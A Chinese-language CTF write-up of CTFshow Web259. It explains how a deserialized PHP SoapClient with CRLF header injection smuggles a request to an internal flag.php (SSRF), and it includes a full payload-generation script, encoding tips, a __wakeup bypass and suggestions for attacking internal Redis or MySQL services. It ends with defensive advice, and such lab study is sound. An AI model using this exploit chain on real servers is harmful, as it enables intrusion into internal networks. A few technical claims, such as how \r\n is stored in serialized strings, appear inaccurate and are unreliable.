1. 项目概述与核心思路拆解

最近在复盘CTFshow的Web259这道题,它把SoapClient原生类反序列化这个知识点玩得相当透彻。这道题本身不算特别复杂,但非常经典,它清晰地展示了如何在没有 __destruct __wakeup 这类常见魔术方法作为“跳板”的情况下,利用PHP内置的SoapClient类配合CRLF注入,实现SSRF(Server-Side Request Forgery)攻击,最终读取到服务器上的敏感文件(也就是Flag)。很多朋友卡在这一关,往往是因为对SoapClient这个类的利用链不够熟悉,或者对反序列化字符串的构造细节把握不准。今天,我就结合自己的解题过程,把这条利用链从原理到Payload构造,掰开揉碎了讲清楚,并附上可以直接复现的完整Payload。

简单来说,这道题的核心挑战是:我们拿到了一个反序列化的入口点,但目标类中没有可以直接利用的魔术方法。这时,我们需要寻找PHP原生类(即PHP内置的、不需要我们额外定义的类)中,是否存在某些类在反序列化后,其内部方法被调用时能产生我们期望的效果(比如发起网络请求)。SoapClient类正是这样一个“宝藏”类。当它的 __call 魔术方法被触发时(通常是调用一个不存在的方法),它会尝试去构造一个SOAP请求并发送。如果我们能控制这个请求的URL和HTTP头,就能将其变成一个可控的HTTP客户端,向服务器内部的其他服务发起请求,这就是SSRF。而这道题的Flag,恰好就放在一个需要通过SSRF才能访问的内部地址上。

2. SoapClient原生类利用链深度解析

2.1 SoapClient类与 __call 魔术方法

SoapClient是PHP中用于调用WebService服务的内置类。它的一个关键特性是:当你尝试调用一个该对象上不存在的方法时, __call 魔术方法会被触发。 __call 方法的核心逻辑是,它会认为你试图调用一个远程的SOAP服务方法,因此它会根据你调用时的方法名和参数,去构造一个SOAP格式的HTTP请求,并发送到你在实例化SoapClient时指定的 wsdl (Web Services Description Language)地址或者非WSDL模式下的目标地址。

这个行为本身是中性的,是为了方便开发者调用远程接口。但在安全视角下,它为我们提供了一个“可以发送HTTP请求”的能力。如果攻击者能够控制SoapClient实例的某些属性,就能控制这个HTTP请求的目标、头部甚至部分内容。

2.2 反序列化中的属性控制与CRLF注入

SoapClient对象在序列化时,其内部状态(属性值)会被保存。反序列化后,这些属性值会被还原。对我们利用至关重要的两个属性是:

  1. _url : 这是SOAP请求要发送的目标地址。
  2. _stream_context : 这是一个可选的资源流上下文,可以用来设置HTTP请求的选项,比如自定义HTTP头。

漏洞点在于,SoapClient在构造HTTP请求时,会将我们通过 _stream_context 设置的一些自定义HTTP头,直接拼接到原始的HTTP请求包中。如果我们在自定义HTTP头的值里插入 \r\n (CRLF,回车换行符),就可以实现HTTP头注入,从而在请求包中插入新的HTTP头,或者更关键的是——提前结束头部区域,并在后面注入新的请求行(Request Line),发起一个完全不同的HTTP请求。

例如,一个正常的SOAP请求可能是:

POST /some_wsdl HTTP/1.1
Host: target.com
Content-Type: text/xml; charset=utf-8
...

如果我们注入CRLF,可以将其变为:

POST /some_wsdl HTTP/1.1
Host: target.com
Content-Type: text/xml; charset=utf-8
X-Custom-Header: value\r\n
\r\n
GET /flag.php HTTP/1.1\r\n
Host: 127.0.0.1\r\n
\r\n

注意,在HTTP协议中,连续的两个 \r\n (即 \r\n\r\n )标志着HTTP头部的结束和正文的开始。通过注入第一个 \r\n 来结束我们自定义的头,再注入 \r\n 来结束整个头部区块,之后的内容就会被服务器解析为新的HTTP请求。这就是我们实现SSRF并改变请求方法(从POST变为GET)、请求路径的关键。

2.3 利用链串联:从反序列化到SSRF

整个利用链的逻辑链条如下:

  1. 入口点 :题目存在一个反序列化漏洞,我们可以传入一个序列化字符串。
  2. 寻找跳板 :目标代码在反序列化后,没有直接调用危险函数或常见的魔术方法(如 __destruct )。但可能存在其他间接触发点,比如将反序列化得到的对象用于某些操作(如 echo == 比较等),这些操作可能会触发 __toString __call 。在这道题中,经过代码审计或黑盒测试,我们发现触发点最终会尝试调用对象上的某个方法,从而激活SoapClient的 __call
  3. 构造SoapClient对象 :我们精心构造一个SoapClient的序列化字符串。在构造时,我们设置 _url 为我们想要其最终请求的内部地址(例如 http://127.0.0.1/ ),并在 _stream_context options 中设置一个自定义HTTP头,该头部的值包含CRLF注入,用于“劫持”原始的SOAP请求,将其变为一个我们想要的GET请求到 /flag.php
  4. 触发与执行 :我们将构造好的序列化字符串提交。服务器反序列化后得到我们的SoapClient对象。当程序逻辑触发对该对象某个方法的调用时, __call 被激活。SoapClient开始工作,它试图向 _url 地址发送请求。在构建请求包时,它把我们注入的恶意HTTP头(包含CRLF)放了进去。服务端(本题中通常是同一个PHP进程或本机的web服务器)在解析这个请求时,由于CRLF注入,将其解释为两个连续的请求:一个无效的SOAP POST请求,紧接着一个我们精心构造的GET /flag.php 请求。
  5. 获取结果 :内部的web服务器处理了这个GET请求,读取了 flag.php 的内容,并将结果(即Flag)作为HTTP响应返回。这个响应通常会被SoapClient接收并处理,但题目可能会通过其他方式(如报错信息、响应差异)将结果展示给我们。

注意 :这里有一个非常重要的细节,也是很多Payload构造失败的原因。SoapClient默认使用SOAP 1.2协议,其HTTP请求的 Content-Type application/soap+xml 。某些情况下,服务端可能无法正确处理这种类型请求后的“请求走私”(即我们注入的第二个请求)。为了更高的成功率,我们通常在构造SoapClient时,显式指定其为非WSDL模式( location uri 参数),并且通过 user_agent 等头进行CRLF注入,这样构造出的请求更简单,兼容性更好。

3. 完整Payload构造与实战步骤

下面,我将一步步拆解如何为CTFshow Web259这道题构造可用的Payload。请注意,部分细节(如触发 __call 的具体方式)可能因题目代码略有不同,但SoapClient的利用核心是一致的。

3.1 环境准备与信息收集

首先,我们需要一个PHP环境来生成Payload。本地搭建或使用在线的PHP交互环境均可。 通过题目描述或源码审计,我们需要明确几个关键信息:

  1. Flag的位置 :通常提示在 /flag.php 或类似的内部路径。本题假设为 /flag.php
  2. 反序列化触发点 :我们需要知道如何让我们的序列化字符串被 unserialize() 函数处理。这通常通过一个GET/POST参数传入。
  3. 触发 __call 的方式 :题目代码在反序列化后,是如何操作对象的?常见的有:将对象作为函数调用( $obj() ,触发 __invoke ),或者调用对象的一个方法( $obj->someMethod() ,触发 __call )。我们需要通过审计找到这个点。对于Web259,通常是后者。

3.2 编写Payload生成脚本

我们将使用PHP代码来生成恶意的SoapClient序列化字符串。关键点在于正确设置 stream_context

<?php
$target_url = 'http://127.0.0.1/'; // SSRF的目标基础地址,最后会请求 http://127.0.0.1/flag.php
$inject_payload = "GET /flag.php HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"; // 要注入的第二个HTTP请求

// 创建流上下文,设置自定义的HTTP头。这里我们使用`user_agent`头进行注入。
// `user_agent`的值里,我们先写一个伪造的UA,然后跟上CRLF(\r\n),再跟上我们想要走私的第二个请求。
$header = "User-Agent: Mozilla/5.0\r\n" . $inject_payload;
// 注意:为了确保注入成功,有时需要在注入的请求前再加一个`\r\n`来结束上一个头。
// 更稳妥的构造是:`"User-Agent: Mozilla/5.0\r\n\r\n" . $inject_payload`
// 但SoapClient可能会自动处理,这里先使用一种常见写法。

$options = [
    'http' => [
        'header' => $header,
    ],
    'ssl' => [
        'verify_peer' => false,
        'verify_peer_name' => false,
    ] // 忽略SSL证书验证,避免因证书问题导致请求失败
];

// 创建流上下文资源
$context = stream_context_create($options);

// 创建SoapClient实例。
// 这里使用非WSDL模式,这样构造的请求更简单,更容易注入。
// `location`参数指定请求发送的URL。
// `uri`参数是SOAP动作的命名空间,非WSDL模式下可以任意设置,但必须存在。
// `stream_context` 是我们刚刚创建的包含恶意头的上下文。
$client = new SoapClient(null, [
    'location' => $target_url,
    'uri' => 'hello',
    'stream_context' => $context,
]);

// 将对象序列化
$serialized = serialize($client);
echo "序列化字符串:\n";
echo $serialized . "\n\n";

// 通常我们需要将其进行URL编码后作为参数传递
echo "URL编码后:\n";
echo urlencode($serialized) . "\n";
?>

运行这段代码,你会得到一个很长的序列化字符串。它的结构大致是 O:10:"SoapClient":5:{s:3:"uri";s:5:"hello";s:8:"location";s:17:"http://127.0.0.1/";...}

3.3 Payload的微调与注意事项

直接使用上面脚本生成的Payload可能不会成功。原因如下,需要进行微调:

  1. SoapClient的属性数量 :在序列化字符串中, O:10:"SoapClient":5:{...} 这里的 5 表示对象有5个属性。这个数字 必须与实际序列化的属性数量严格匹配 。不同PHP版本、不同构造参数下,SoapClient序列化后的属性数量可能不同(可能是4, 5, 6等)。如果数量不匹配,反序列化会失败。 最可靠的方法是在与目标服务器相同(或相近)的PHP环境下生成Payload 。如果无法确定,可以尝试常见数量,或者通过报错信息来判断。
  2. CRLF的表示 :在序列化字符串中, \r\n 会被转义存储。你会在字符串属性值中看到类似 s:100:"User-Agent: Mozilla/5.0\r\nGET /flag.php..." 这样的内容。确保 \r\n 是两个字面字符 \ r \ n ,而不是真正的回车换行符。我们的PHP代码中使用的双引号字符串 "\r\n" 会自动转换,这是正确的。
  3. 属性访问权限 :SoapClient的内部属性(如 _url , _stream_context )通常是 protected private 的。在序列化字符串中, protected 属性名前会有一个 * 号,表示为 \0*\0属性名 private 属性名前会有类名,表示为 \0类名\0属性名 。这些 \0 是空字符(NULL字节)。 在URL传输时,空字符可能会被截断或处理,导致反序列化失败。 因此,我们通常需要对这些空字符进行手动替换。
    • 例如,一个 protected $uri 属性在序列化字符串中显示为 s:3:"*uri"; ,但其原始存储是 s:3:"\0*\0uri";
    • 我们需要将序列化字符串中的 \0 替换为 %00 (URL编码形式),或者在某些情况下,直接替换为字符串 \0 (如果题目代码处理了转义)。更常见的做法是,在生成Payload后,手动或写脚本将 \0 替换为 %00

一个经过手动修正属性数量和空字符的Payload片段示例:

O:10:"SoapClient":4:{s:3:"uri";s:5:"hello";s:8:"location";s:17:"http://127.0.0.1/";s:15:"\0*\0_stream_context";...}

在提交时,需要将整个字符串进行URL编码,其中 %00 部分会被正确编码为 %2500 (因为 % 本身也需要编码),或者视服务器接收情况而定。有时,直接提交包含 %00 的字符串也能被正确解析。

3.4 实战提交与Flag获取

假设题目反序列化入口点是GET参数 data ,那么最终的请求URL可能类似于:

http://ctfshow靶场地址/challenge/?data=<你的URL编码后的序列化字符串>

提交后,观察响应。如果成功,你可能会看到:

  • 直接返回了 flag.php 的内容。
  • 在页面的报错信息中包含了Flag。
  • 响应发生了明显变化(如长度变长)。
  • 可能需要结合题目其他部分(如反序列化后对象的 __toString 输出)来获取SoapClient请求的响应结果。

实操心得 :在实际操作中,经常需要多次尝试。如果第一次不成功,请按以下顺序排查:1) 检查PHP版本是否匹配;2) 检查SoapClient属性数量是否正确;3) 检查CRLF注入的格式是否正确,可以用Burp Suite等工具抓包查看原始请求是否被正确构造;4) 检查 \0 空字符的处理是否正确。一个技巧是,先尝试生成一个不包含CRLF注入的、合法的SoapClient序列化字符串,确保它能被成功反序列化且不报错,然后再逐步加入恶意部分。

4. 常见问题排查与进阶技巧

4.1 问题排查清单

问题现象 可能原因 解决方案
反序列化失败,报错 unserialize(): Error at offset... 1. 序列化字符串格式错误(如引号不匹配)。
2. 属性数量与实际不符。
3. 空字符 \0 在传输中被破坏。
1. 检查生成Payload的代码,确保字符串正确转义。
2. 调整 O:10:"SoapClient":X 中的 X ,尝试4,5,6等值。
3. 将序列化字符串中的 \0 显式替换为 %00 ,并确保整个字符串被正确URL编码。
反序列化成功,但无SSRF效果(未触发请求) 1. 触发 __call 的代码路径未执行。
2. SoapClient的 location 地址不可达或协议错误。
3. 流上下文设置不正确。
1. 确认反序列化后的对象被用于方法调用(如 $obj->xxx() )。
2. 检查 location 的URL格式( http:// 开头)。
3. 尝试使用更简单的 user_agent 注入,或检查 stream_context 的数组结构。
触发了请求,但未读取到 /flag.php 1. CRLF注入失败,请求未被“走私”。
2. 目标路径 /flag.php 不正确。
3. 内部服务有防护(如仅允许特定Host)。
1. 调整CRLF注入的位置和格式,确保是两个连续的 \r\n
2. 尝试其他常见路径,如 /flag ./flag.php 等。
3. 在注入的请求中尝试修改或添加Host头。
收到关于SOAP的报错 SoapClient尝试解析响应为SOAP格式,但 /flag.php 返回的不是XML。 这通常是好事,说明请求已经发出并收到了响应。Flag可能就在报错信息或响应体中,仔细查看页面源代码和响应。

4.2 进阶利用技巧

  1. 利用 __toString 触发 :有些题目可能不是直接调用方法,而是将对象当作字符串使用(如 echo $obj ),这会触发 __toString 魔术方法。SoapClient类本身没有 __toString ,但我们可以结合其他有 __toString 的类(如 Exception Error ),在其 message trace 属性中放入我们的SoapClient对象,形成二次反序列化或属性访问,间接触发。这需要更复杂的POP链构造。
  2. 绕过 __wakeup 限制 :如果目标类中存在 __wakeup 方法,它会在反序列化后立即执行,可能会清空或重置我们的恶意属性。对于SoapClient,如果其 __wakeup 方法重置了 _stream_context ,我们的注入就会失效。一种绕过方法是利用PHP反序列化的一个特性:当序列化字符串中对象的属性数量大于实际属性数量时, __wakeup 方法会被跳过。这就是为什么我们需要精确控制属性数量的原因之一,有时故意增加数量( O:10:"SoapClient":6 )可能是一种绕过手段。
  3. 目标扩展:攻击内网其他服务 :SoapClient SSRF的真正威力在于可以探测和攻击服务器所在内网的其他服务。通过修改 location 和注入的请求,可以扫描内网IP和端口,尝试访问Redis、MySQL、Memcached等服务的未授权接口,或者攻击其他内部Web应用。

4.3 防御建议

从防御者角度看,要防范此类攻击:

  • 输入验证 :严格检查反序列化数据的来源,避免用户可控数据直接传入 unserialize()
  • 使用安全的反序列化函数 :如 json_decode() ,或使用只允许白名单类的反序列化库。
  • 禁用危险类 :在 php.ini 中通过 unserialize_callback_func 设置回调函数,或在代码层面对反序列化得到的类名进行检查,禁止SoapClient等危险原生类。
  • 升级PHP版本 :新版本PHP对反序列化过程有更多安全限制。
  • 网络隔离 :确保Web服务器所在网络与关键内网服务隔离,限制不必要的出站连接。

这道Web259就像一把精致的钥匙,它打开的门后,展现的是PHP反序列化漏洞中利用原生类进行SSRF的经典场景。理解SoapClient的利用链,不仅是为了解这一道题,更是为了掌握一种在受限环境下“创造”出网络请求能力的重要攻击思路。在实际的代码审计和渗透测试中,这种思路往往能帮助我们在看似坚固的防御体系中找到意想不到的突破口。

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐